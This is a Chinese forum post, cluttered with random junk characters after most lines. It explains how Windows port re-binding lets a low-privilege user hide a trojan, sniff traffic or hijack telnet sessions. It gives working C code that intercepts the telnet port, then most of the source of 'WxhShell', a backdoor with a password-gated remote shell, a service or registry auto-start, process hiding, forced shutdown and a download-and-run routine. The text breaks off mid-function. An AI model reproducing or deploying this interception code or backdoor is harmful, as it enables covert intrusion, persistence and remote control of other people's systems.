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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !X[7m  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >C5u>@%9O  
&:}WfY!hX  
  saddr.sin_family = AF_INET; J9J/3O Q=  
xlsAct:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); I2) 2'j,B  
4T~wnTH0Xg  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); SoFl]^l  
[CAFh:o  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 xNRMI!yv   
`O%O[  
  这意味着什么?意味着可以进行如下的攻击: L@?3E`4/v  
V1Gnr~GM  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 aM_O0Rn==  
^ME'D  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "F Etl(  
.rX,*|1x  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,sg\K> H=  
rodqa  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  IF6-VFY:6  
:+?r nb)N  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 93,7yZ 5#  
q(2ZJn13f  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?O]RQXsZ2  
X]W(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 uA t{WDHm  
0xeY0!ux  
  #include d*U<Ww^q  
  #include Ue>{n{H"y  
  #include #D ]CuSi  
  #include    ,.|/B^jV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Q/h-Kh mz  
  int main() +A$>F@u  
  { m !i`|]m  
  WORD wVersionRequested; 6 =G=4{q  
  DWORD ret; j0{Qy;wP )  
  WSADATA wsaData; >V\^oh)t]t  
  BOOL val; |GP&!]  
  SOCKADDR_IN saddr; 5-&"nn2*}1  
  SOCKADDR_IN scaddr; *|@386\  
  int err; $e  uI  
  SOCKET s; PY+4OZ$  
  SOCKET sc; Qf'g2 \  
  int caddsize; )NqRu+j  
  HANDLE mt; 8NJT:6Q7l  
  DWORD tid;   $(*>]PC+)  
  wVersionRequested = MAKEWORD( 2, 2 ); :" @-Bcln  
  err = WSAStartup( wVersionRequested, &wsaData ); 8L6b:$Y3@C  
  if ( err != 0 ) { kN#3HI]8  
  printf("error!WSAStartup failed!\n"); 5;HCNwX  
  return -1; {&6i$4T  
  } eYu0")  
  saddr.sin_family = AF_INET; :s-9@Yl|  
   9E[==2TO  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !?|xeQ}  
K7nyQGS  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); > +00[T  
  saddr.sin_port = htons(23); _]eyt_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qmvQd8|XR  
  { N\rL ~4/  
  printf("error!socket failed!\n"); MGr e_=Dm_  
  return -1; 47f\  
  } Y zmMF  
  val = TRUE; v?%vB#A^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *O_^C  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Jz P0D'  
  { &H+n0v  
  printf("error!setsockopt failed!\n"); ' d?6 L  
  return -1; 7lKatk+7K  
  } "I9r>=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~mMTfC~9  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 K5jeazasp  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 lJT"aXt'M  
7;&,L H  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Sn' +~6i  
  { L1y71+iqU  
  ret=GetLastError(); Vobq|Rd/%  
  printf("error!bind failed!\n"); lWT`y  
  return -1; <vD(,||  
  } n.C5w8f  
  listen(s,2); H/={RuU  
  while(1) 'G>9iw  
  { qOnGP{   
  caddsize = sizeof(scaddr); l(@c  
  //接受连接请求 :-$8u;!M  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); N0JdU4'  
  if(sc!=INVALID_SOCKET) `46.!  
  { GJs~aRiz  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -8<vWe  
  if(mt==NULL) @~UQU)-(  
  { ;P/ 4.|<  
  printf("Thread Creat Failed!\n"); GS}JyU  
  break; 9jM7z/Ff  
  } DVJn;X^T:  
  } {];-b0MS~  
  CloseHandle(mt); n+i=Ff  
  } k,f/9e+#  
  closesocket(s); nr,Z0  
  WSACleanup(); |{_>H '  
  return 0; $J&c1  
  }   hhFO,  
  DWORD WINAPI ClientThread(LPVOID lpParam) >7S@3,C3ke  
  { ]0j_yX  
  SOCKET ss = (SOCKET)lpParam; !]RSG^%s{  
  SOCKET sc; mZjpPlJ  
  unsigned char buf[4096]; xtLP 4VL  
  SOCKADDR_IN saddr; x;Slv(|M  
  long num;  _+(@?  
  DWORD val; ,|.}6\zl*{  
  DWORD ret; ik;F@kdm`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 t V>qV\>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   N]6t)Zv  
  saddr.sin_family = AF_INET; ?)(-_N&T  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #N'9 w .  
  saddr.sin_port = htons(23); DH.UJ +  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3d olrW  
  { Re %dNxJ=  
  printf("error!socket failed!\n"); Jyr V2Tk^  
  return -1; .`V$j.a  
  } %H2ios[UO  
  val = 100; o P;6i  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &g1\0t  
  { c"pOi&  
  ret = GetLastError(); Mw)6,O`  
  return -1; cUdS{K&K  
  } x{tlC}t  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dM P'Vnfj  
  { `Pc<0*`a  
  ret = GetLastError(); !6@'H4cb=  
  return -1; bovAFdHW  
  } n;Q8Gg2U  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) cCNRv$IO\  
  { ;gD\JA  
  printf("error!socket connect failed!\n"); SW'eTG  
  closesocket(sc); BenyA:W"  
  closesocket(ss); XoL DqN!  
  return -1; g.vE%zKL  
  } %'Q2c'r  
  while(1) uoeZb=<  
  { n|XheG7:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Zj'%c2U_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0\X<vrW  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 i1-%#YYF(  
  num = recv(ss,buf,4096,0); /]MelW  
  if(num>0) )|^8`f  
  send(sc,buf,num,0); 0K26\1  
  else if(num==0) di0@E<@1:  
  break; L$.3,./  
  num = recv(sc,buf,4096,0);  0yq  
  if(num>0) +}a(jO  
  send(ss,buf,num,0); Jww#zEK  
  else if(num==0) "J=Cy@SSa  
  break; isQOt * i  
  } Hq 3V+$  
  closesocket(ss); OE9,D:t v  
  closesocket(sc); }2Euz.0  
  return 0 ; n-yUt72  
  } tp>YsQy]8  
2A[hMbL  
#Lp}j?Y  
========================================================== 0<NS1y  
v$Hz)J.01  
下边附上一个代码,,WXhSHELL &b}g.)RI  
!2l2;?jM  
========================================================== T,1qR: 58  
+>K&zS  
#include "stdafx.h" H"6x/&s.=k  
]a4+]vLK  
#include <stdio.h> =DD KGy.g  
#include <string.h> f:<BUqa  
#include <windows.h> f17E2^(I(}  
#include <winsock2.h> wCruj`$  
#include <winsvc.h> Zis,%XY  
#include <urlmon.h> ^jwzCo-  
Z?!AJY  
#pragma comment (lib, "Ws2_32.lib") 3IlVSR^py  
#pragma comment (lib, "urlmon.lib") ,aC}0t  
(I#6!Yt9J  
#define MAX_USER   100 // 最大客户端连接数 k_7b0 dr%F  
#define BUF_SOCK   200 // sock buffer 40h$- VYT/  
#define KEY_BUFF   255 // 输入 buffer fs&$?mHL){  
-P/DmSS8V  
#define REBOOT     0   // 重启 Q47R`"  
#define SHUTDOWN   1   // 关机 J 3C^tV  
RO,TNS~  
#define DEF_PORT   5000 // 监听端口 _lwKa, }  
a*U[;(  
#define REG_LEN     16   // 注册表键长度 jTIG#J)  
#define SVC_LEN     80   // NT服务名长度 ~$5XiY8A  
ng!cK<p  
// 从dll定义API i\ X3t5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +KIz#uqF8Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X~0 -WBz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )Ak#1w&q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Babzrt-  
n+ebi>}P  
// wxhshell配置信息 Sq ]gU  
struct WSCFG { BO w[*hM  
  int ws_port;         // 监听端口 a(]&H "  
  char ws_passstr[REG_LEN]; // 口令 pka^7OWyN  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~1wt=Ln>  
  char ws_regname[REG_LEN]; // 注册表键名 rSJ!vQo Cb  
  char ws_svcname[REG_LEN]; // 服务名 t:fz%IOe  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fI<LxU_n:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O8A1200  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f(D'qV T{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $) "\N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RBn/7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h]ae^M  
0lg'QG>  
}; (4/"uj5  
$Z#~wsw  
// default Wxhshell configuration *u"%hXR  
struct WSCFG wscfg={DEF_PORT, 8:V,>PH  
    "xuhuanlingzhe", nsU7cLf"^V  
    1, m[v0mXE  
    "Wxhshell", 1bCE~,tD  
    "Wxhshell", !6=;dX  
            "WxhShell Service", &|GH@^)@  
    "Wrsky Windows CmdShell Service", p7;K] AW  
    "Please Input Your Password: ", @gK`RmhGE5  
  1, >jhcSvM6  
  "http://www.wrsky.com/wxhshell.exe", mnK<5KLg1  
  "Wxhshell.exe" ~&D =;M/  
    }; `mz}D76~#  
C?gqX0[ q  
// 消息定义模块 HJ 7A/XW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rCDt9o>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]?@ [Ny=0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DPxx9lN_rx  
char *msg_ws_ext="\n\rExit."; QjY}$  
char *msg_ws_end="\n\rQuit."; 7CH&n4v  
char *msg_ws_boot="\n\rReboot..."; RxYENG]/6  
char *msg_ws_poff="\n\rShutdown..."; }'eef"DJ9  
char *msg_ws_down="\n\rSave to ";  g]?pY  
zl :by?  
char *msg_ws_err="\n\rErr!"; `J,>#Y6(J  
char *msg_ws_ok="\n\rOK!"; >:6iFPP  
M> WWP3  
char ExeFile[MAX_PATH]; z.-yL,Rc`-  
int nUser = 0; Eb4NPWo  
HANDLE handles[MAX_USER]; ";rXCH.  
int OsIsNt; |> STb\  
94#,dA,M  
SERVICE_STATUS       serviceStatus; IdAh)#) 7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yO%^[c?  
?m]vk|>  
// 函数声明 JT0j2_*Rr  
int Install(void); XYWyxx5`  
int Uninstall(void); w gS'/  
int DownloadFile(char *sURL, SOCKET wsh); z Fm`e:td  
int Boot(int flag); uE')<fVX(  
void HideProc(void); k37?NoT  
int GetOsVer(void); p]RQ-0  
int Wxhshell(SOCKET wsl); &SbdX   
void TalkWithClient(void *cs); Q/]~`S  
int CmdShell(SOCKET sock); cmXbkM  
int StartFromService(void); V*\hGNV  
int StartWxhshell(LPSTR lpCmdLine); |hika`35K  
3k/E$wOj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \[3~*eX6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h6D4CT  
)mm0PJF~q  
// 数据结构和表定义 _{k*JT2  
SERVICE_TABLE_ENTRY DispatchTable[] = <jV,VKL#  
{ QNx]8r  
{wscfg.ws_svcname, NTServiceMain}, S2'ai  
{NULL, NULL} zBy} >Jx  
}; .yy*[56X  
HC$%"peN1b  
// 自我安装 &wK:R,~x6  
int Install(void) {UP[iw$~  
{ r 1r@TG\  
  char svExeFile[MAX_PATH]; cgrSd99.  
  HKEY key; hE(R[hc  
  strcpy(svExeFile,ExeFile); A|f6H6UUx  
i0{\c}r:4b  
// 如果是win9x系统,修改注册表设为自启动 2(DhKHrF  
if(!OsIsNt) { &!/>B .  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )^o.H~Pv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?m*e$!M0  
  RegCloseKey(key); YgcW1}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eWAD;x?.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  `qs,V  
  RegCloseKey(key); ^>l <)$s  
  return 0; S~aWun  
    } K-k!':K:  
  } B3ItZojAuw  
} V>QyiB  
else { Vt}QP Nt  
@h|qL-:!vG  
// 如果是NT以上系统,安装为系统服务 ASbI c"S6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); DW7E ]o  
if (schSCManager!=0) doL-G?8B  
{ Zu|NF uFI  
  SC_HANDLE schService = CreateService J;_4 3eS  
  ( L&kCI`Tb  
  schSCManager, D^ @@ P  
  wscfg.ws_svcname, D{B?2}X  
  wscfg.ws_svcdisp, O ixqou  
  SERVICE_ALL_ACCESS, {4 Yx h8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p($vM^_<"  
  SERVICE_AUTO_START, %9>w|%+;U+  
  SERVICE_ERROR_NORMAL, F@Sk=l(  
  svExeFile, z<55[~3  
  NULL, TbD  
  NULL, =8 @DYz'  
  NULL, N[W#wYbH  
  NULL, sn:VMHrOT  
  NULL j_g(6uZhz3  
  ); 6m?<"y8]  
  if (schService!=0) XF(D%ygeC  
  { hb; CpA  
  CloseServiceHandle(schService); "G@K(bnHn  
  CloseServiceHandle(schSCManager); eB#I-eD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qg#YQ'vWte  
  strcat(svExeFile,wscfg.ws_svcname); Un K7&Uo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a 4ViVy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;iiCay37F  
  RegCloseKey(key); ( /I6Wa  
  return 0; L/jaUt[,  
    } ExtC\(X;  
  } P0}B&B/a:  
  CloseServiceHandle(schSCManager); .hx(9  
} E \/[hT  
} #[jS&rr(  
rB".!b  
return 1; 1+*sEIC"  
} i+O7,"(@  
 'l5  
// 自我卸载 sA?8i:]O:  
int Uninstall(void) iKo2bC:.&  
{ ."ZG0Zg  
  HKEY key; k'O.1  
5c::U=  
if(!OsIsNt) { *90dkJZ.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _33 b %  
  RegDeleteValue(key,wscfg.ws_regname); #l}Fk)dj  
  RegCloseKey(key); l jK?2z>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W2X`%Tx0  
  RegDeleteValue(key,wscfg.ws_regname); "Y<;R+z  
  RegCloseKey(key); Q8`V0E\~  
  return 0; 7vZO;FGtG  
  } "B: FSWM_-  
} KE,.Evyu=  
} 7~P2q/2E>  
else { %@C8EFl%3  
@LOfqQ$FE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /lECgu*#69  
if (schSCManager!=0) K[iAN;QCe%  
{ ]|!|3lQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K/*R}X  
  if (schService!=0) >niv >+!N  
  { t>"`rcg  
  if(DeleteService(schService)!=0) { LujLC&S  
  CloseServiceHandle(schService); i FZGfar?  
  CloseServiceHandle(schSCManager); gf>H-718F  
  return 0; 0+iRgnd9?  
  } #,z-Pj?O!  
  CloseServiceHandle(schService); &V*MNi,4Z  
  } mQ`atFz:Z  
  CloseServiceHandle(schSCManager); 8zHx$g  
} H8w[{'Mei  
} .9x* YS  
ZX&e,X~V  
return 1; pZS]i "  
} ^|Z'}p|&  
a&JY x  
// 从指定url下载文件 3}\z&|  
int DownloadFile(char *sURL, SOCKET wsh) z` 6$p1U  
{ PpFQoY7M  
  HRESULT hr; `0ym3}(O  
char seps[]= "/"; !T<,fR+8X  
char *token; X(/fE?%;  
char *file; VX8rM!3  
char myURL[MAX_PATH]; Zo2+{a  
char myFILE[MAX_PATH]; H4`>B>\  
.pPuBJL]<  
strcpy(myURL,sURL); -}<Ru)  
  token=strtok(myURL,seps); !k% PP  
  while(token!=NULL) o}r_+\n  
  { +#wVe  
    file=token; ?n{m2.H  
  token=strtok(NULL,seps); +/celp  
  } k5K5OpY  
1f+A_k/@  
GetCurrentDirectory(MAX_PATH,myFILE); ,X3D< wl  
strcat(myFILE, "\\"); 3A ^AEO  
strcat(myFILE, file); kkZ}&OXS;  
  send(wsh,myFILE,strlen(myFILE),0); L@O>;zp;  
send(wsh,"...",3,0); +PE-j| D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YZfi-35@g  
  if(hr==S_OK) c&bhb[  
return 0; <b"^\]l  
else jo&j<3i  
return 1; &v0]{)PO  
.t[u_tBL  
} )T9Cv8  
~/A2 :}Cp=  
// 系统电源模块 NpGi3>5  
int Boot(int flag) >QYx9`x&  
{ Vfzy BjQ  
  HANDLE hToken; ?<.a>"!  
  TOKEN_PRIVILEGES tkp; j_,/U^Ws|f  
XE_Lz2H`  
  if(OsIsNt) { EXeV @kg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yg8= G vO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }JtcAuQt  
    tkp.PrivilegeCount = 1; yHE\Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j xI;clr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ju#j%!  
if(flag==REBOOT) { lS Y "  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HgW!Q(*  
  return 0; 'V%w{ZiiV  
} vKW!;U9~P  
else { k(Xs&f `  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^|oI^"I Q=  
  return 0; Y.I~.66s  
} rr,A Vw  
  } .s4vJKK0  
  else { .BxQF  
if(flag==REBOOT) { 6, j60`f)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  kVZs:  
  return 0; 3c#^@Bj(-e  
} H.iCYD_=  
else { > A@yF?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i?d545. u  
  return 0; <v9IK$J  
} wM[Z 0*K  
} 7R[7M%H  
JtSwbdN  
return 1; Pi1LOCq  
} 7_3 PM 3C  
8>j&) @q  
// win9x进程隐藏模块 ylos6]zS8  
void HideProc(void) GKEOjaE  
{ H[: lQ\  
,#BD/dF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sK W~+ ]  
  if ( hKernel != NULL ) ';\norx;  
  { shdzkET8N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QsKnaRT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {~]5QKg.  
    FreeLibrary(hKernel); l #C<bDw  
  } 1F>8#+B/W  
jQ7;-9/~N  
return; e~*tQ4  
} n&&C(#mBC  
:Nf(:D8  
// 获取操作系统版本 Jm)7!W%3  
int GetOsVer(void) vK/`or3U  
{ 5h Sd,#:  
  OSVERSIONINFO winfo; *GYLj[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OR+_s @Yg  
  GetVersionEx(&winfo); &b,A-1`w_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5{ +>3J  
  return 1;  l #]#_  
  else xc-[gt6  
  return 0; Qt\:A!'jw  
} 9a@S^B>  
P//nYPyzg  
// 客户端句柄模块 ^PE|BCs  
int Wxhshell(SOCKET wsl) (bsywM  
{ yz,_\{}  
  SOCKET wsh; '`gnJX JO  
  struct sockaddr_in client; S['%>  
  DWORD myID; IC"ktv bHz  
4gEw }WiP  
  while(nUser<MAX_USER) hFtjw6  
{ n|T$3j)  
  int nSize=sizeof(client); ?Qd`Vlp7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6b2h\+AP  
  if(wsh==INVALID_SOCKET) return 1; !S7?:MJ?p\  
Z$c&Y>@)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /g%RIzgW  
if(handles[nUser]==0) _7u&.l<;  
  closesocket(wsh); /Dc54U n  
else `=V1w4J  
  nUser++; R)N^j'R~=  
  } +-TEB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G3!O@j!7w$  
K5bR7f:  
  return 0; ^wSGrV'  
} 4_2oDcdf  
&)Zv>P8z`  
// 关闭 socket m@I}$  
void CloseIt(SOCKET wsh) je#LD  
{ Omn $O>  
closesocket(wsh); hxJKYU^%m  
nUser--; n]3'N58  
ExitThread(0); Q$: ,N=%  
} -f:PgBj  
GHLFn~z@XJ  
// 客户端请求句柄 sAA;d  
void TalkWithClient(void *cs) $z)egh(z  
{ >(YH@Z&;  
"p+oi@  
  SOCKET wsh=(SOCKET)cs; iM9k!u FE  
  char pwd[SVC_LEN]; xrY >Or  
  char cmd[KEY_BUFF]; *j<#5=l  
char chr[1]; yXtQfR  
int i,j; 6 3PV R"  
;InMgo,  
  while (nUser < MAX_USER) { `B8`<3k/(  
<jFov`^  
if(wscfg.ws_passstr) { ZF#lh]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e{4e<hd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d6m&nj  
  //ZeroMemory(pwd,KEY_BUFF); ??#EG{{  
      i=0; /18fpH|  
  while(i<SVC_LEN) { 2RqV\Jik  
XmVst*2=  
  // 设置超时 `z/ p,. u  
  fd_set FdRead; N5#j}tT  
  struct timeval TimeOut; f2KH&j>~r  
  FD_ZERO(&FdRead); *GhV1# <  
  FD_SET(wsh,&FdRead); wr:-n  
  TimeOut.tv_sec=8; r-WX("Vvh  
  TimeOut.tv_usec=0; 8In~qf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I3Z\]BI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @3b@]l5  
8{icY|:MTN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .DnG}884  
  pwd=chr[0]; KL(s Vj^e  
  if(chr[0]==0xd || chr[0]==0xa) { ^*y 1Fn0  
  pwd=0; /-^{$$eu  
  break; XMI5j7C L  
  } F$|d#ny  
  i++; 8OS^3JS3"  
    } _\@zq*E  
,N_V(Cx5pt  
  // 如果是非法用户,关闭 socket 5[*8C Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6>&(OV   
} bq5we*" V  
+>Y]1IlI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #4nBov3d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g38 MF  
7;6'=0(  
while(1) { siV]NI ':|  
sQr M"i0Y>  
  ZeroMemory(cmd,KEY_BUFF); PF)s>  
7''iT{-[p  
      // 自动支持客户端 telnet标准   c&<Ei1  
  j=0; D^t: R?+  
  while(j<KEY_BUFF) { LZ(K{+U/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'c/8|9jX  
  cmd[j]=chr[0]; M3d%$q)<rW  
  if(chr[0]==0xa || chr[0]==0xd) { [oXr6M:  
  cmd[j]=0; @L607[!?  
  break; Sq2 8=1%  
  } j39"iAn  
  j++; u?z,Vs"  
    } =yJV8%pa  
va#].4_  
  // 下载文件 pma=*  
  if(strstr(cmd,"http://")) { x],XiSyp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); BoARM{m  
  if(DownloadFile(cmd,wsh)) 80gOh:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yS?5&oMl  
  else ET*:iioP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GJ?J6@|  
  } ~e]l  
  else { (2 hI  
-\Z`+kY?p  
    switch(cmd[0]) { Qo(<>d  
  -Vmp6XY3q  
  // 帮助 ,x3< a}J  
  case '?': { VYH $em6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f& Sovuuh  
    break; #z*,-EV|  
  } 3^)c5kcI  
  // 安装 e+ m(g  
  case 'i': { 3Zpq#  
    if(Install()) \mt Y_O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nF,zWr[x  
    else 9m"EY@-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T$DFTr\\  
    break; :;]O;RXt  
    } r'*#i>PkQD  
  // 卸载  Oo~   
  case 'r': { [*H h6  
    if(Uninstall()) ).tTDZ   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h>z5m   
    else tC/+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ) 2jH&}K  
    break; wr>6Go%  
    } 'OU3-K  
  // 显示 wxhshell 所在路径 :$XlYJrjK  
  case 'p': { -<u_fv  
    char svExeFile[MAX_PATH]; gEgd/Le  
    strcpy(svExeFile,"\n\r"); 5RF*c,cNq  
      strcat(svExeFile,ExeFile); BISH34  
        send(wsh,svExeFile,strlen(svExeFile),0); =""5 c  
    break; je>mAQKi\  
    } G}]'}FUp  
  // 重启 [xdVuL;N  
  case 'b': { +mO/9m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M@pF[J/  
    if(Boot(REBOOT)) 4jVd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AZ\f6r{  
    else { J'wJe,  
    closesocket(wsh); >@Na6BH5v  
    ExitThread(0); }Os7[4 RW  
    } @JJ{\?>  
    break; ,s,AkH  
    } [_C([o'\KY  
  // 关机 Ub wmn!~  
  case 'd': { F*4G@)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zRR^v&.9K  
    if(Boot(SHUTDOWN)) ki ?V eFp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !|J2o8g  
    else { J!QIMA4{  
